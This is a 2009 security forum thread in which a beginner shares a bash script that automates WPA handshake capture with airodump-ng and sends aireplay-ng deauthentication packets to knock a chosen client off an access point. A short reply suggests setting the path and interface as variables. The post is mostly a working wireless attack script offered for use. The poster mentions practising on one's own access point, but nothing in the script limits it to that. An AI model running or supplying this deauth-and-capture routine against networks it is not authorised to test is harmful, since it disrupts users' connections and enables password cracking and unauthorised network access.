Remote Exploit Forums

Go Back   Remote Exploit Forums > Specialist Topics > Programming


Programming A place for our community to discuss their own security related coding projects.

Reply
 
LinkBack Thread Tools Display Modes
  #1 (permalink)  
Old 09-30-2009, 10:31 AM
Junior Member
 
Join Date: Sep 2009
Posts: 9
Default wpa handshake script

Here is a very basic bash script, keep in mind that this is one of my first scripts ever, im sure there are other and better ways to do this. basiclly i just did the script to learn how to make a more advanced script then "hello world"

the script works in three stages. first run it, and when you find your own AP you pres ctrl-c to quit the airodump-ng scan. then the script will ask you what channel you want to look closer at. when you are done, press ctrl-c again. The script will continue to ask you questions like essid and what filename you want on your saved file. and so on.

you need to change the IF to fit your interface.
you also need to change the PATHNAME to fit your needs.

Code:
#!/bin/bash

PATHNAME="/home/kazu/"
IF="mon0"

airodump-ng --encrypt wpa "$IF"

#enter channel
echo -n "What channel do you want to look closer at?: "
read CHANNEL
airodump-ng -c "$CHANNEL" --encrypt wpa "$IF"

#get information
echo -n "Enter the BSSID MAC of the AP: "
read BSSID
echo -n "Enter the filename you want: "
read FILENAME
echo -n "Do you want to deauth the target? Y/N? "
read YNS

if [ "$YNS" = "y" ]
then
echo -n "How many deauths do you want to do?: "
read DEAUTH
echo -n "Enter how many seconds you want before deauths kicks in: "
read TIME
echo -n "Enter the STATION MAC adress: "
read STATION
xterm -geometry 95x15+0+0 -e airodump-ng -c "$CHANNEL" --bssid "$BSSID" -w "$PATHNAME""$FILENAME" "$IF" &
echo "Scanning and saving to file"
echo "Sending deauth in "$TIME" seconds"
sleep "$TIME"
xterm -hold -geometry 95x15+0+223 -e aireplay-ng -0 "$DEAUTH" -a "$BSSID" -c "$STATION" "$IF" &
echo -n "Do you want to re-deauth or quit? Y/Q: "
read REDEAUTHDQ

if [ "$REDEAUTHDQ" = "y" ]
then 
echo -n "How many deauths do you want to do?: "
read REDEAUTH
xterm -hold -geometry 95x15+0+223 -e aireplay-ng -0 "$REDEAUTH" -a "$BSSID" -c "$STATION" "$IF" &
else
killall xterm
fi
else
echo "Scanning and saving to file, will NOT deauth"
xterm -geometry 95x15+0+0 -e airodump-ng -c "$CHANNEL" --bssid "$BSSID" -w "$PATHNAME""$FILENAME" "$IF" &
fi

echo -n "you want to quit? Y/N: "
read QUITYN

if [ "$QUITYN" = "y" ]
then 
killall xterm
fi

#end

Last edited by mrkazu; 10-12-2009 at 07:29 PM.
Reply With Quote
  #2 (permalink)  
Old 09-30-2009, 10:33 AM
Gitsnik's Avatar
Senior Member
 
Join Date: Jun 2009
Location: The Crystal Wind
Posts: 494
Default

Two tips (both related):

PATHNAME="/home/kazu/"
IF="mon0"

Then you can just use those instead of having it hardcoded into your script.
__________________
Never underestimate the power of human stupidity - it is like a force of nature, capable of destroying even the most well laid plans.
Reply With Quote
  #3 (permalink)  
Old 10-02-2009, 02:53 PM
Junior Member
 
Join Date: Sep 2009
Posts: 9
Default

Quote:
Originally Posted by Gitsnik View Post
Two tips (both related):
PATHNAME="/home/kazu/"
IF="mon0"
Ah, much better. Thank you for that tip!
Reply With Quote
Reply

Bookmarks

Thread Tools
Display Modes

Posting Rules
You may not post new threads
You may not post replies
You may not post attachments
You may not edit your posts

BB code is On
Smilies are On
[IMG] code is On
HTML code is Off
Trackbacks are On
Pingbacks are On
Refbacks are On



All times are GMT. The time now is 06:44 AM.


Powered by vBulletin® Version 3.8.4
Copyright ©2000 - 2009, Jelsoft Enterprises Ltd.
Search Engine Optimization by vBSEO 3.3.2